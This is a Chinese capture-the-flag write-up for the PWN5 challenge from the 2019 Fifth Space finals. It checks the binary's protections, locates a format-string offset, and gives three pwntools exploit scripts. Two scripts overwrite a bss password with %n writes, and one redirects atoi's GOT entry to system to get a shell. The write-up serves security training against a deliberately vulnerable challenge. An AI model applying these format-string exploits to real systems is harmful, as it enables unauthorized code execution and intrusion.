[第五空间2019 决赛]PWN5——三种方法

1.检查保护机制

        [第五空间2019 决赛]PWN5——三种方法_第1张图片

  • 32位IDA

  • GOT表可写

  • 栈溢出保护开启

  • 堆栈不可执行

  • 地址随机化未开启

2.使用32位IDA打开该ELF文件

  • main函数
    • [第五空间2019 决赛]PWN5——三种方法_第2张图片 

偏移量为10,32为是栈地址,64位是寄存器

[第五空间2019 决赛]PWN5——三种方法_第3张图片

 [第五空间2019 决赛]PWN5——三种方法_第4张图片

 

3.EXP

  • 方法一
    • 思路:
    • 1.在bss段地址输入格式化字符串%10$n
    • 2.atoi把字符转换为整型
    • 3.密码发送str(4),因为网bss段输入了”%10$n“长度为4[第五空间2019 决赛]PWN5——三种方法_第5张图片

     

    #encoding = utf-8
    from pwn import*
    context(os = 'linux',arch = 'i386',log_level = 'debug')
    #p = remote("node4.buuoj.cn",27532)
    p = process("./pwn")
    bss = 0x0804C044
    
    payload = p32(bss) + b'%10$n'
    p.sendline(payload)
    p.recvuntil("your passwd:")
    #gdb.attach(p)
    p.sendline(str(4))
    
    
    p.interactive()

 

  • 方法二
    • 思路:
    • 1.修改atoi的got表为system地址
    • 2.再发送“/bin/sh”,就可以拿到权限了 
#encoding = utf-8
from pwn import*
context(os = 'linux',arch = 'i386',log_level = 'debug')
p = remote("node4.buuoj.cn",25646)
bss = 0x0804C044
elf = ELF("./pwn")
atoi_addr = elf.got['atoi']
system_addr = elf.plt['system']
payload = fmtstr_payload(10,{atoi_addr:system_addr})
p.sendline(payload)
p.send("/bin/sh\x00")
p.interactive()

 

  • 方法三
    •  思路
    • 1.偏移量为10
    • 2.bss段地址为:0x0804C044
    • 3.bss段地址值为:0x10101010
    • 4.发送payload后,再发送密码:0x10101010
    • 5.%10$n显示的是bss的地址,%11$n显示的是bss+1的地址......

[第五空间2019 决赛]PWN5——三种方法_第6张图片 

#encoding = utf-8
from pwn import*
context(os = 'linux',arch = 'i386',log_level = 'debug')
p = remote("node4.buuoj.cn",25646)
bss = 0x0804C044
elf = ELF("./pwn")
payload = p32(bss) + p32(bss+1) + p32(bss+2) + p32(bss+3) + b"%10$n%11$n%12$n%13$n"
p.sendline(payload)
p.recvuntil("your passwd:")
#gdb.attach(p)
p.send(str(0x10101010))

p.interactive()

 

 

你可能感兴趣的:(java,前端,linux)